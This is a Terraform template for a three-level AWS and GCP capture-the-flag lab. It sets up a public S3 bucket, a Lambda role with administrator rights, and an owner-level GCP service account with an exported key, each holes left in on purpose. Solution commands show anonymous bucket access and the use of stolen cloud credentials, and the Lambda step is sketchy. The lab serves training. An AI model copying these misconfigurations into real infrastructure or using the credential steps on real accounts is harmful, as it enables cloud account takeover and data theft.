Terraform vulnerable lab template

Setup

# main.tf
provider "aws" {
  region = "us-east-1"
}

provider "google" {
  credentials = file("gcp-creds.json")
  project     = "your-project-id"
  region      = "us-central1"
}

resource "random_id" "suffix" {
  byte_length = 4
}

Beginner: “The Oversharing Bucket” (AWS S3)

Goal: find an open S3 bucket and retrieve flag.txt.

resource "aws_s3_bucket" "beginner" {
  bucket = "rootme-beginner-${random_id.suffix.hex}"
  acl    = "public-read"  # deliberately misconfigured

  tags = {
    Name = "Flag Storage"
  }
}

resource "aws_s3_bucket_object" "flag" {
  bucket  = aws_s3_bucket.beginner.id
  key     = "flag.txt"
  content = "FLAG: S3_Leak_${random_id.suffix.hex}"
}

Solution:

aws s3 ls s3://rootme-beginner-[ID] --no-sign-request
aws s3 cp s3://rootme-beginner-[ID]/flag.txt - --no-sign-request

Fix: acl = "private"

Intermediate: “Lambda to EC2 Takeover” (AWS IAM)

Goal: from Lambda, steal IAM keys to access EC2.

resource "aws_iam_role" "lambda" {
  name = "overprivileged_lambda_role"
  assume_role_policy = jsonencode({
    Version = "2012-10-17"
    Statement = [{
      Action    = "sts:AssumeRole"
      Effect    = "Allow"
      Principal = { Service = "lambda.amazonaws.com" }
    }]
  })
}

resource "aws_iam_role_policy_attachment" "lambda_admin" {
  role       = aws_iam_role.lambda.name
  policy_arn = "arn:aws:iam::aws:policy/AdministratorAccess"  # deliberately overprivileged
}

resource "aws_lambda_function" "vulnerable" {
  filename      = "lambda.zip"
  function_name = "leaky_lambda"
  role          = aws_iam_role.lambda.arn
  handler       = "index.handler"
  runtime       = "python3.8"
  environment {
    variables = {
      FLAG = "Lambda_Key_${random_id.suffix.hex}"
    }
  }
}

resource "aws_instance" "target" {
  ami           = "ami-0c55b159cbfafe1f0"
  instance_type = "t2.micro"
  tags = {
    Name = "Flag_EC2"
  }
}

Solution:

# dump Lambda env vars, then:
export AWS_ACCESS_KEY_ID=...
export AWS_SECRET_ACCESS_KEY=...
aws ec2 describe-instances --region us-east-1

Fix: policy_arn = "arn:aws:iam::aws:policy/AWSLambdaBasicExecutionRole"

Advanced: “GCP Org Compromise” (service account key)

Goal: use a leaked key to escalate to project owner.

resource "google_service_account" "leaky" {
  account_id   = "leaky-sa-${random_id.suffix.hex}"
  display_name = "Leaky Service Account"
}

resource "google_project_iam_member" "owner" {
  project = "your-project-id"
  role    = "roles/owner"  # deliberately overprivileged
  member  = "serviceAccount:${google_service_account.leaky.email}"
}

resource "google_service_account_key" "leaky_key" {
  service_account_id = google_service_account.leaky.name
  public_key_type    = "TYPE_X509_PEM_FILE"
}

output "leaky_key_json" {
  value     = google_service_account_key.leaky_key.private_key
  sensitive = true
}

Solution:

echo "$LEAKED_KEY_JSON" > creds.json
gcloud auth activate-service-account --key-file=creds.json
gcloud projects get-iam-policy your-project-id
gcloud compute instances list

Fix: role = "roles/logging.viewer"

Deploy

terraform init
terraform apply -auto-approve
# after CTF:
terraform destroy -auto-approve